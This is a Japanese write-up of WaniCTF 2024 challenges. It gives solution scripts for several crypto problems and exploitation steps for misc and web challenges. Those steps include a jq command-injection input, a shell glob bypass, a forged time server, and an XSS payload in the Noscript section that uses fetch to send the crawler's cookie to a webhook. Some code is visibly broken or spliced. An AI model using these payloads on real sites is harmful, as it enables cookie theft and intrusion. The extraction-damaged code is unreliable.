👻

# WaniCTF 2024 Writeup

2024/06/24に公開

## Crypto

### beginners_rsa [Beginner]

#### 問題

chall.py
from Crypto.Util.number import *

p = getPrime(64)
q = getPrime(64)
r = getPrime(64)
s = getPrime(64)
a = getPrime(64)
n = p*q*r*s*a
e = 0x10001

FLAG = b'FLAG{This_is_a_fake_flag}'
m = bytes_to_long(FLAG)
enc = pow(m, e, n)
print(f'n = {n}')
print(f'e = {e}')
print(f'enc = {enc}')

output.txt
n = 317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347
e = 65537
enc = 127075137729897107295787718796341877071536678034322988535029776806418266591167534816788125330265⏎


#### 解法

getPrime(64) からわかるように、n を構成する素数が小さいので素因数分解ができます。たとえば、factordb[1] や sage の factor() で素因数分解できます。今回は sage を使って素因数分解したものをコピー&ペーストしてきました。復号は素数 2 つのときと同様です。

sol.py
from functools import reduce
from Crypto.Util.number import long_to_bytes

n = 317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347
e = 65537
enc = 127075137729897107295787718796341877071536678034322988535029776806418266591167534816788125330265
# factor(n)
primes = [
9953162929836910171,
11771834931016130837,
12109985960354612149,
13079524394617385153,
17129880600534041513,
]

phi = reduce(lambda x, y: x * y, map(lambda p: p - 1, primes))
d = pow(e, -1, phi)
m = pow(enc, d, n)
flag = long_to_bytes(m)
print(flag.decode())


### beginners_aes [Beginner]

#### 問題

chall.py
# https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html
from Crypto.Cipher import AES
from os import urandom
import hashlib

key = b'the_enc_key_is_'
iv = b'my_great_iv_is_'
key += urandom(1)
iv += urandom(1)

cipher = AES.new(key, AES.MODE_CBC, iv)
FLAG = b'FLAG{This_is_a_dummy_flag}'
flag_hash = hashlib.sha256(FLAG).hexdigest()

enc = cipher.encrypt(msg)

print(f'enc = {enc}') # bytes object
print(f'flag_hash = {flag_hash}') # str object

output.txt
enc = b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18' flag_hash = 6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e  #### 解法 keyiv の未知な部分は urandom(1) のそれぞれ 1 バイトなので総当たりができます。 sol.py from Crypto.Util.Padding import unpad from Crypto.Cipher import AES import hashlib key = b"the_enc_key_is_" iv = b"my_great_iv_is_" enc = b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18'
flag_hash = "6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e"

for x in range(0x100):
for y in range(0x100):
key += x.to_bytes(1, byteorder="big")
iv += y.to_bytes(1, byteorder="big")
cipher = AES.new(key, AES.MODE_CBC, iv)
dec = cipher.decrypt(enc)
key = b"the_enc_key_is_"
iv = b"my_great_iv_is_"
try:
msg_hash = hashlib.sha256(msg).hexdigest()
if msg_hash == flag_hash:
print(f"key = {key}")
print(f"iv = {iv}")
print(f"msg = {msg}")
exit()
except:
pass


### Easy calc [Easy]

#### 問題

chall.py
import os
import random
from hashlib import md5

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, getPrime

FLAG = os.getenvb(b"FLAG", b"FAKE{THIS_IS_NOT_THE_FLAG!!!!!!}")

def encrypt(m: bytes, key: int) -> bytes:
iv = os.urandom(16)
key = long_to_bytes(key)
key = md5(key).digest()
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
return iv + cipher.encrypt(m)

def f(s, p):
u = 0
for i in range(p):
u += p - i
u *= s
u %= p

return u

p = getPrime(1024)
s = random.randint(1, p - 1)

A = f(s, p)
ciphertext = encrypt(FLAG, s).hex()

print(f"{p = }")
print(f"{A = }")
print(f"{ciphertext = }")

output.txt
p = 108159532265181242371960862176089900437183046655107822712736597793129430067645352619047923366465213553080964155205008757015024406041606723580700542617009651237415277095236385696694741342539811786180063943404300498027896890240121098409649537982185247548732754713793214557909539077228488668731016501718242238229
A = 60804426023059829529243916100868813693528686280274100232668009387292986893221484159514697867975996653561494260686110180269479231384753818873838897508257692444056934156009244570713404772622837916262561177765724587140931364577707149626116683828625211736898598854127868638686640564102372517526588283709560663960
ciphertext = '9fb749ef7467a5aff04ec5c751e7dceca4f3386987f252a2fc14a8970ff097a81fcb1a8fbe173465eecb74fb1a843383'


#### 解法

\begin{align*} A \equiv \sum_{i=0}^{p-1} s^{p-i} (p-i) \equiv -s \sum_{i=0}^{p-1} s^{-i} i \pmod{p} \end{align*}

\sum の項は次の公式を使って変形できます[2]

\begin{align*} \sum_{i=2}^{p-1} i s^{-i} = \frac{s^{-p} (2 s^{p} - s^{p-1} - (p-1) s^2 + (p-1) s - s^2)}{(s - 1)^2} \end{align*}

s \equiv 1 - (A + 1)^{-1} \pmod{p}
sol.py
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from hashlib import md5

p = 108159532265181242371960862176089900437183046655107822712736597793129430067645352619047923366465213553080964155205008757015024406041606723580700542617009651237415277095236385696694741342539811786180063943404300498027896890240121098409649537982185247548732754713793214557909539077228488668731016501718242238229
A = 60804426023059829529243916100868813693528686280274100232668009387292986893221484159514697867975996653561494260686110180269479231384753818873838897508257692444056934156009244570713404772622837916262561177765724587140931364577707149626116683828625211736898598854127868638686640564102372517526588283709560663960
ciphertext = "9fb749ef7467a5aff04ec5c751e7dceca4f3386987f252a2fc14a8970ff097a81fcb1a8fbe173465eecb74fb1a843383"

s = (1 - pow(A + 1, -1, p)) % p

ct = bytes.fromhex(ciphertext)
iv = ct[:16]
ct = ct[16:]

key = long_to_bytes(s)
key = md5(key).digest()

cipher = AES.new(key, AES.MODE_CBC, iv=iv)
msg = cipher.decrypt(ct)
print(msg)


### speedy [Hard]

#### 問題

chall.py
from cipher import MyCipher
from Crypto.Util.number import *
import os

s0 = bytes_to_long(os.urandom(8))
s1 = bytes_to_long(os.urandom(8))

cipher = MyCipher(s0, s1)
secret = b'FLAG{'+b'*'*19+b'}'
ct = cipher.encrypt(pt)
print(f'ct = {ct}')

cipher.py
from Crypto.Util.number import *

def rotl(x, y):
x &= 0xFFFFFFFFFFFFFFFF
return ((x << y) | (x >> (64 - y))) & 0xFFFFFFFFFFFFFFFF

class MyCipher:
def __init__(self, s0, s1):
self.X = s0
self.Y = s1
self.mod = 0xFFFFFFFFFFFFFFFF
self.BLOCK_SIZE = 8

def get_key_stream(self):
s0 = self.X
s1 = self.Y
sum = (s0 + s1) & self.mod
s1 ^= s0
key = []
for _ in range(8):
key.append(sum & 0xFF)
sum >>= 8

self.X = (rotl(s0, 24) ^ s1 ^ (s1 << 16)) & self.mod
self.Y = rotl(s1, 37) & self.mod
return key

def encrypt(self, pt: bytes):
ct = b''
for i in range(0, len(pt), self.BLOCK_SIZE):
ct += long_to_bytes(self.X)
key = self.get_key_stream()
block = pt[i:i+self.BLOCK_SIZE]
ct += bytes([block[j] ^ key[j] for j in range(len(block))])
return ct

out.txt
ct = b'"G:F\xfe\x8f\xb0<O\xc0\x91\xc8\xa6\x96\xc5\xf7N\xc7n\xaf8\x1c,\xcb\xebY<z\xd7\xd8\xc0-\x08\x8d\xe9\x9e\xd8\xa51\xa8\xfbp\x8f\xd4\x13\xf5m\x8f\x02\xa3\xa9\x9e\xb7\xbb\xaf\xbd\xb9\xdf&Y3\xf3\x80\xb8'


#### 解法

この問題自体はそんな背景を知らなくても解けます。復号に必要なパラメータは s0s1 です。s0 は暗号文 ct についてくるので、未知なのは s1 だけです。また、s0s1 を使って計算した self.X も暗号文に含まれるので、あとはこの連立方程式を何かしらの方法で解くだけです。今回は z3 で解いてみました。

sol.py
from z3 import BitVec, Solver, RotateLeft, sat
from Crypto.Util.number import long_to_bytes, bytes_to_long

ct = b'"G:F\xfe\x8f\xb0<O\xc0\x91\xc8\xa6\x96\xc5\xf7N\xc7n\xaf8\x1c,\xcb\xebY<z\xd7\xd8\xc0-\x08\x8d\xe9\x9e\xd8\xa51\xa8\xfbp\x8f\xd4\x13\xf5m\x8f\x02\xa3\xa9\x9e\xb7\xbb\xaf\xbd\xb9\xdf&Y3\xf3\x80\xb8'
BLOCK_SIZE = 8
offset = 8

c = ct[offset : offset + BLOCK_SIZE]

s0 = BitVec("s0", 64)
s1 = BitVec("s1", 64)

s = Solver()
mod = 0xFFFFFFFFFFFFFFFF

RotateLeft(s0, 24) ^ s1 ^ s0 ^ ((s1 ^ s0) << 16) & mod
== bytes_to_long(ct[offset + BLOCK_SIZE : offset + 2 * BLOCK_SIZE])
)
if s.check() != sat:
print("Failed")
exit()

m = s.model()
print(m[s1])

s1 = m[s1].as_long()

def rotl(x, y):
x &= 0xFFFFFFFFFFFFFFFF
return ((x << y) | (x >> (64 - y))) & 0xFFFFFFFFFFFFFFFF

class MyCipher:
def __init__(self, s0, s1):
self.X = s0
self.Y = s1
self.mod = 0xFFFFFFFFFFFFFFFF
self.BLOCK_SIZE = 8

def get_key_stream(self):
s0 = self.X
s1 = self.Y
sum = (s0 + s1) & self.mod
s1 ^= s0
key = []
for _ in range(8):
key.append(sum & 0xFF)
sum >>= 8

self.X = (rotl(s0, 24) ^ s1 ^ (s1 << 16)) & self.mod
self.Y = rotl(s1, 37) & self.mod
return key

def encrypt(self, pt: bytes):
ct = b""
for i in range(0, len(pt), self.BLOCK_SIZE):
ct += long_to_bytes(self.X)
key = self.get_key_stream()
block = pt[i : i + self.BLOCK_SIZE]
ct += bytes([block[j] ^ key[j] for j in range(len(block))])
return ct

def decrypt(self, ct: bytes):
pt = b""
for i in range(0, len(ct), self.BLOCK_SIZE * 2):
self.X = bytes_to_long(ct[i : i + self.BLOCK_SIZE])
key = self.get_key_stream()
block = ct[i + self.BLOCK_SIZE : i + self.BLOCK_SIZE * 2]
pt += bytes([block[j] ^ key[j] for j in range(len(block))])
return pt

cipher = MyCipher(s0, s1)
pt = cipher.decrypt(ct)
print(pt)


### uf [Very hard]

#### 問題

chall.py
import os
from secrets import randbits
from Crypto.Util.number import bytes_to_long

FLAG = os.environb.get(b"FLAG", b"FAKE{THIS_IS_DUMMY_FLAG}")
m = bytes_to_long(FLAG)
assert m.bit_length() >= 512

def encrypt(m: int, n: int = 512) -> int:
x = 0
for i in range(n):
x <<= 1
x += m * randbits(1)
if i >= n // 2:
x ^= randbits(1)
return x

X = [encrypt(m) for _ in range(4)]
print(X)

output.txt
[6643852762092641655051592752286380661448697120839285262713138738793179330857521051418707355387198243788554658967735136760757552410466512939791351078152197994352930016306075464400264019640466277732596022216246131141036813931972036259910390741311141390889450882074162723823607552591155184799627590418587536982033939537563823, 4495106960532238798978878322218382764459613684889887356979907395021294655849239390809608204284927849117763119933285899077777162943233437728643056322845118660545730870443735090094400144586494098834221418487123653668703665085461676013454922344247818407399456870636622800919629442727075235809213114639237367651539678560390951, 7622226387024225267485603541284038981214490586915816777231024576546652676746968149372915915975325662783469952634025859954515971134032563991925283958708572235632178937041656690377178266198211581176947491463237398083133658483056792368618417698027992083481412961301906342594056438180675328433412539805240307255787971167535638, 1149407465454162408488208063367931363888120160126632926627929705372269921465081968665764846439238807939361247987642326885758277171318666479752274577607727935160689442316433824450832192798328252739495913920016290902086534688608562545166349970831960156036289570935410160077618096614135121287858428753273136461851339553609896]


#### 解法

まずは encrypt の処理を適当に書き下してみましょう。

x_i = m q_i + r_i \quad (i = 0, 1, 2, 3)

ここで、x_i は出力、m は平文、q_im にかかる乱数部分をまとめたもの、r_i は xor の部分を足し算に置き換えてまとめたものです。r_iif の条件から O(2^{256}) です。

もし、xor の r_i がなかったとすると、最大公約数 \gcd (x_0, x_1, x_2, x_4)m になることが期待できます[3]。邪魔な r_i は比較的小さいので、近似的な最大公約数アルゴリズムがあれば解けそうです。こういうときに使えるアルゴリズムが Approximate GCD です。

ここでは解説しませんので、以下の記事やペーパーを参考にしてください。

\begin{pmatrix} K & x_1 & x_2 & x_3 \\ 0 & -x_0 & 0 & 0 \\ 0 & 0 & -x_0 & 0 \\ 0 & 0 & 0 & -x_0 \end{pmatrix}
sol.sage
from Crypto.Util.number import long_to_bytes

xs = [
6643852762092641655051592752286380661448697120839285262713138738793179330857521051418707355387198243788554658967735136760757552410466512939791351078152197994352930016306075464400264019640466277732596022216246131141036813931972036259910390741311141390889450882074162723823607552591155184799627590418587536982033939537563823,
4495106960532238798978878322218382764459613684889887356979907395021294655849239390809608204284927849117763119933285899077777162943233437728643056322845118660545730870443735090094400144586494098834221418487123653668703665085461676013454922344247818407399456870636622800919629442727075235809213114639237367651539678560390951,
7622226387024225267485603541284038981214490586915816777231024576546652676746968149372915915975325662783469952634025859954515971134032563991925283958708572235632178937041656690377178266198211581176947491463237398083133658483056792368618417698027992083481412961301906342594056438180675328433412539805240307255787971167535638,
1149407465454162408488208063367931363888120160126632926627929705372269921465081968665764846439238807939361247987642326885758277171318666479752274577607727935160689442316433824450832192798328252739495913920016290902086534688608562545166349970831960156036289570935410160077618096614135121287858428753273136461851339553609896,
]

K = 1
B = matrix(
ZZ,
[
[K, xs[1], xs[2], xs[3]],
[0, -xs[0], 0, 0],
[0, 0, -xs[0], 0],
[0, 0, 0, -xs[0]],
],
)
B = B.LLL()
q = abs(B[0, 0] / K)
r = xs[0] % q
p = (xs[0] - r) // q
print(long_to_bytes(int(p)))


## Misc

### JQ Playground [Easy]

#### 問題

main.py
from flask import *
import subprocess

@app.route("/")
def get():
return render_template("index.tmpl")

@app.route("/", methods=["POST"])
def post():
filter = request.form["filter"]
print("[i] filter :", filter)
if len(filter) >= 9:
return render_template("index.tmpl", error="Filter is too long")
if ";" in filter or "|" in filter or "&" in filter:
return render_template("index.tmpl", error="Filter contains invalid character")
command = "jq '{}' test.json".format(filter)
ret = subprocess.run(
command,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
encoding="utf-8",
)
return render_template("index.tmpl", contents=ret.stdout, error=ret.stderr)

if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000, debug=True)


#### 解法

jq という json をコマンドライン上で便利に操作できるプログラムを用いた問題です。jq に対して 8 文字以下で ; | & が含まれていない入力を与えることができます。

jq '{}' test.json


どうやらワイルドカードが使えるようなので、man を見ながら試行錯誤すると次の入力でフラグが得られました。' で囲まれていることに気がつかず時間を浪費しました。

'-f /f*'


### sh [Normal]

#### 問題

game.sh
#!/usr/bin/env sh

set -euo pipefail

printf "Can you guess the number? > "

if printf $i | grep -e [^0-9]; then printf "bye hacker!" exit 1 fi r=$(head -c512 /dev/urandom | tr -dc 0-9)

if [[ $r ==$i ]]; then
printf "How did you know?!"
cat flag.txt
else
printf "Nope. It was $r." fi  Dockerfile # FROM alpine:3.19 FROM alpine@sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b RUN apk add --no-cache socat WORKDIR / COPY game.sh flag.txt ./ RUN adduser -DH ctf USER ctf CMD socat -dd -v "tcp-listen:7580,reuseaddr,fork" exec:./game.sh  #### 解法 game.sh で乱数 r と入力 i を一致させるとフラグが出る問題です。この問題で注目するポイントは 2 つです。 1. if の条件で printf$i が呼ばれていて、その出力がすべて数字でないといけないこと。
2. ri の一致に alpine のシェル ash の [[ ]] が使われていて、i が右辺にあること。

まずは 1 つ目の問題を解決しましょう。printf $i ということは %d などのフォーマットが使えます。ash という点に気をつけながら調べると、%d が数字以外をフォーマットするとエラーで空になることがわかります。たとえば、%d] とするとこのポイントを突破できます。 次に 2 つ目の問題を解決します。[[ ]] 内の右辺ではワイルドカードが使えるので、たとえば *[0-9] はこのポイントを突破できます。注意するべきな点は、ワイルドカード * は場所によっては置き換えられてしまいます。具体的には、* だけを入力すると bin になります。また、[0-9]*dev になりうまくいきません。 上記のポイントを踏まえると、次のような入力を与えるとフラグが得られます。 *[0-9%d]  ### cached hash [Easy] #### 問題 Dockerfile # FROM golang:1.22-alpine AS builder FROM golang@sha256:6522f0ca555a7b14c46a2c9f50b86604a234cdc72452bf6a268cae6461d9000b AS builder WORKDIR /usr/src/cachedhash COPY go.mod go.sum ./ RUN go mod download && go mod verify COPY . . RUN go build -v -o /usr/local/bin/cachedhash ./... RUN cachedhash -mode hash -file ./flag.txt > ./hashed_flag.txt # FROM gcr.io/distroless/static-debian12:nonroot FROM gcr.io/distroless/static-debian12@sha256:e9ac71e2b8e279a8372741b7a0293afda17650d926900233ec3a7b2b7c22a246 COPY --from=builder /usr/local/bin/cachedhash /usr/local/bin/ COPY --from=builder /usr/src/cachedhash/hashed_flag.txt / ENTRYPOINT ["cachedhash", "-mode", "serve", "-file", "/hashed_flag.txt"]  docker-compose.yaml services: cachedhash: image: public.ecr.aws/s8s0z7v7/r39cvpwh:latest build: . restart: unless-stopped ports: - "5089:5089"  #### 解法 問題文にあるように「マルチステージビルド」を使用しています。通常はこれだけでは flag.txt を入手できないので、追加で情報がないか探します。docker-compose.yaml を見ると、本番のイメージが aws で公開されていることがわかります。 public.ecr.aws/s8s0z7v7/r39cvpwh:latest  調べてみると、次のページで公開されていました。 そして、タグを見てみるとキャッシュがありました。 public.ecr.aws/s8s0z7v7/r39cvpwh:cache  ignore に flag.txt は含まれていないので、これに含まれていることが期待できます。とはいえ、自分の環境ではここからさきが大変で docker pullbuildx とかを使ってもフォーマットが対応していないと怒られました。色々と試した結果、skopeo でダウンロードできました。 $ skopeo copy docker://public.ecr.aws/s8s0z7v7/r39cvpwh:cache dir:./image


あとは unar で 2 回解凍を繰り返していたら、次のところから flag.txt が見つかりました。

583cf5a561807df13d4495669569f2292dde4d4f95e451f91e27c533efc5acda


## Web

### One Day One Letter [Normal]

#### 問題

content-server/server.py
content-server/server.py
import json
import os
from datetime import datetime
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.request import Request, urlopen
from urllib.parse import urljoin

from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

FLAG_CONTENT = os.environ.get('FLAG_CONTENT', 'abcdefghijkl')
assert len(FLAG_CONTENT) == 12
assert all(c in 'abcdefghijklmnopqrstuvwxyz' for c in FLAG_CONTENT)

def get_pubkey_of_timeserver(timeserver: str):
req = Request(urljoin('https://' + timeserver, 'pubkey'))
with urlopen(req) as res:
return ECC.import_key(key_text)

def get_flag_hint_from_timestamp(timestamp: int):
content = ['?'] * 12
idx = timestamp // (60*60*24) % 12
content[idx] = FLAG_CONTENT[idx]
return 'FLAG{' + ''.join(content) + '}'

class HTTPRequestHandler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
self.send_response(200, "ok")

def do_POST(self):
try:

timestamp = body['timestamp'].encode('utf-8')
signature = bytes.fromhex(body['signature'])
timeserver = body['timeserver']

pubkey = get_pubkey_of_timeserver(timeserver)
h = SHA256.new(timestamp)
verifier = DSS.new(pubkey, 'fips-186-3')
verifier.verify(h, signature)
self.send_response(HTTPStatus.OK)
dt = datetime.fromtimestamp(int(timestamp))
res_body = f'''<p>Current time is {dt.date()} {dt.time()}.</p>
<p>Flag is {get_flag_hint_from_timestamp(int(timestamp))}.</p>
<p>You can get only one letter of the flag each day.</p>
<p>See you next day.</p>
'''
self.wfile.write(res_body.encode('utf-8'))
self.requestline
except Exception:
self.send_response(HTTPStatus.UNAUTHORIZED)

handler = HTTPRequestHandler
httpd = HTTPServer(('', 5000), handler)
httpd.serve_forever()

time-server/server.py
time-server/server.py
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')

class HTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/pubkey':
self.send_response(HTTPStatus.OK)
res_body = pubkey
self.wfile.write(res_body.encode('utf-8'))
self.requestline
else:
timestamp = str(int(time.time())).encode('utf-8')
h = SHA256.new(timestamp)
signer = DSS.new(key, 'fips-186-3')
signature = signer.sign(h)
self.send_response(HTTPStatus.OK)
res_body = json.dumps({'timestamp' : timestamp.decode('utf-8'), 'signature': signature.hex()})
self.wfile.write(res_body.encode('utf-8'))

handler = HTTPRequestHandler
httpd = HTTPServer(('', 5001), handler)
httpd.serve_forever()

script.js
script.js
const contentserver = 'web-one-day-one-letter-content-lz56g6.wanictf.org'
const timeserver = 'web-one-day-one-letter-time-lz56g6.wanictf.org'

function getTime() {
return new Promise((resolve) => {
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://' + timeserver);
xhr.send();
if(xhr.readyState == 4 && xhr.status == 200) {
resolve(JSON.parse(xhr.response))
}
};
});
}

function getContent() {
return new Promise((resolve) => {
getTime()
.then((time_info) => {
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://' + contentserver);
const body = {
timestamp : time_info['timestamp'],
signature : time_info['signature'],
timeserver : timeserver
};
xhr.send(JSON.stringify(body));
if(xhr.readyState == 4 && xhr.status == 200) {
resolve(xhr.response);
}
};
});
});
}

function initialize() {
getContent()
.then((content) => {
document.getElementById('content').innerHTML = content;
});
}

initialize();


index.html
index.html
<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
<script type="text/javascript" src="./script.js" defer></script>
<body>
<div id="content"></div>
</body>
</html>


#### 解法

コンテンツサーバに対して、こちら側で勝手に好きなタイムサーバを指定できます。なので、運営が用意しているサーバではなく、自分で作ったサーバを使います。署名の公開鍵も指定したタイムサーバから受け取るようになっているので、署名も突破できます。

まとめると、次のステップを取ります。

1. 問題ページの index.htmlscript.js をダウンロードしてローカルから閲覧
2. timeserver をローカルで立てて https で何かしらの方法で公開（tunnelmole を使った）
3. script.js の timeserver を公開サーバに変更
4. タイムスタンプを一日ずつ変更してフラグゲット

from datetime import datetime
custom_date = datetime(2023, 1, 1, 0, 0, 0)
timestamp = str(int(custom_date.timestamp())).encode("utf-8")


### Noscript [Normal]

#### 問題

.
├── app
│   ├── Dockerfile
│   ├── go.mod
│   ├── go.sum
│   ├── main.go
│   └── templates
│       ├── index.html
│       └── user.html
├── compose.yaml
└── crawler
├── Dockerfile
├── dumb-init_1.2.5_x86_64
├── index.js
├── package-lock.json
└── package.json

compose.yaml
compose.yaml
services:
app:
build: ./app
ports:
- "8080:8080"
environment:
- REDIS_HOST=redis
- REDIS_PORT=6379
crawler:
build: ./crawler
environment:
- FLAG=FAKE{***redacted***}
- APP_URL=http://app:8080
- HOST=app:8080
- REDIS_HOST=redis
- REDIS_PORT=6379
platform: linux/amd64
redis:
image: "redis:alpine"

app/main.go
app/main.go
package main

import (
"context"
"fmt"
"html/template"
"net/http"
"os"
"regexp"
"sync"

"github.com/gin-gonic/gin"
"github.com/redis/go-redis/v9"
)

type InMemoryDB struct {
data map[string][2]string
mu   sync.RWMutex
}

func NewInMemoryDB() *InMemoryDB {
return &InMemoryDB{
data: make(map[string][2]string),
}
}

func (db *InMemoryDB) Set(key, value1, value2 string) {
db.mu.Lock()
defer db.mu.Unlock()
db.data[key] = [2]string{value1, value2}
}

func (db *InMemoryDB) Get(key string) ([2]string, bool) {
db.mu.RLock()
defer db.mu.RUnlock()
vals, exists := db.data[key]
return vals, exists
}

func (db *InMemoryDB) Delete(key string) {
db.mu.Lock()
defer db.mu.Unlock()
delete(db.data, key)
}

func main() {
ctx := context.Background()

db := NewInMemoryDB()

redisClient := redis.NewClient(&redis.Options{
})

r := gin.Default()

r.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", gin.H{
"title": "Noscript!",
})
})

r.POST("/signin", func(c *gin.Context) {
id := uuid.New().String()
db.Set(id, "test user", "test profile")
c.Redirect(http.StatusMovedPermanently, "/user/"+id)
})

// Get user profiles
r.GET("/user/:id", func(c *gin.Context) {
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$") if re.MatchString(id) { if val, ok := db.Get(id); ok { params := map[string]interface{}{ "id": id, "username": val[0], "profile": template.HTML(val[1]), } c.HTML(http.StatusOK, "user.html", params) } else { _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>") } } else { _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>") } }) // Modify user profiles r.POST("/user/:id/", func(c *gin.Context) { id := c.Param("id") re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(id) {
if _, ok := db.Get(id); ok {
profile := c.PostForm("profile")
db.Delete(id)
if _, ok := db.Get(id); ok {
c.Redirect(http.StatusMovedPermanently, "/user/"+id)
} else {
}
} else {
}
} else {
_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
}
})

id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$") if re.MatchString(id) { if val, ok := db.Get(id); ok { _, _ = c.Writer.WriteString(val[0]) } else { _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>") } } else { _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>") } }) // Report API r.POST("/report", func(c *gin.Context) { url := c.PostForm("url") // URL to report, example : "/user/ce93310c-b549-4fe2-9afa-a298dc4cb78d" re := regexp.MustCompile("^/user/[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(url) {
if err := redisClient.RPush(ctx, "url", url).Err(); err != nil {
_, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>")
return
}
if err := redisClient.Incr(ctx, "queued_count").Err(); err != nil {
_, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>")
return
}
_, _ = c.Writer.WriteString("<p>Reported! <a href='/'>Home</a></p>")
} else {
_, _ = c.Writer.WriteString("<p>invalid url <a href='/'>Home</a></p>")
}
})

if err := r.Run(); err != nil {
panic(err)
}
}

crawler/index.js
crawler/index.js
const { chromium } = require("playwright");
const Redis = require("ioredis");
const connection = new Redis({
host: process.env.REDIS_HOST,
port: process.env.REDIS_PORT,
});

const APP_URL = process.env.APP_URL; // application URL
const HOST = process.env.HOST; // HOST
const FLAG = process.env.FLAG; // FLAG

const crawl = async (path) => {
const browser = await chromium.launch();
const page = await browser.newPage();
{
name: "flag",
value: FLAG,
domain: HOST,
path: "/",
expires: Date.now() / 1000 + 100000,
},
];
try {
await page.goto(APP_URL + path, {
timeout: 3000,
});
await page.waitForTimeout(1000);
await page.close();
} catch (err) {
console.error("crawl", err.message);
} finally {
await browser.close();
console.log("crawl", "browser closed");
}
};

(async () => {
while (true) {
console.log(
"[*] waiting new url",
await connection.get("queued_count"),
await connection.get("proceeded_count"),
);
await connection
.blpop("url", 0)
.then((v) => {
const path = v[1];
console.log("crawl", path);
return crawl(path);
})
.then(() => {
console.log("crawl", "finished");
return connection.incr("proceeded_count");
})
.catch((e) => {
console.log("crawl", e);
});
}
})();


#### 解法

ホーム画面では「サインイン」とクローラーにユーザーページの URL を渡すことができます。このレポート機能で渡せる URL は /user/(id) の形式だけです。

サインインをクリックすると、/user/(id) のページに飛びます。そこでは Username と Profile を編集できます。

このページの CSP はとても厳しく、スクリプトは一切動きません。

default-src 'self', script-src 'none'


ところが、ソースコードを見たところインジェクションが出来そうです。

if val, ok := db.Get(id); ok {
params := map[string]interface{}{
"id":       id,
"profile":  template.HTML(val[1]),
}
c.HTML(http.StatusOK, "user.html", params)


たとえば、Profile に <meta http-equiv="refresh" content="0; URL=なにかしら" /> を入力するとページを URL に遷移できます。ですが、CSP により <script> 等は一切動きません。それだとクローラーから Cookie が渡せないので、どこかしら CSP がゆるくてインジェクションができる箇所を探してみます。

ソースコードを眺めてみると、username API という機能がありました。/username/(id) で username を使ったインジェクションができそうです。

// Get username API
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$") if re.MatchString(id) { if val, ok := db.Get(id); ok { _, _ = c.Writer.WriteString(val[0]) } else { _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>") } } else { _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>") } })  実際に Username に <script>alert(1)</script> を設定してみましょう。 更新後に /username/(id) にアクセスしてみると、<script> が動きました。 あとは Webhook を使い、これらの脆弱性を組み合わせてクローラーのフラグを手に入れます。 注意する点はクローラーがフラグを保存するのは http://app:8080/ に対してということです。これはソースコードと docker-compose を見るとわかります。 まとめると次のペイロードになります。 Username: <script>fetch((webhook)?cookie=${document.cookie})</script>
Profile: <meta http-equiv="refresh" content="0;url=http://app:8080/username/(id)"/>

1. 2024/06/23 の執筆時に閲覧したところ接続できませんでした。 ↩︎

2. wolfram alpha に訊いたら教えてくれました。 ↩︎

3. 厳密には何かしらの係数がつくパターンもありますが、今回は問題ないです。 ↩︎

GitHubで編集を提案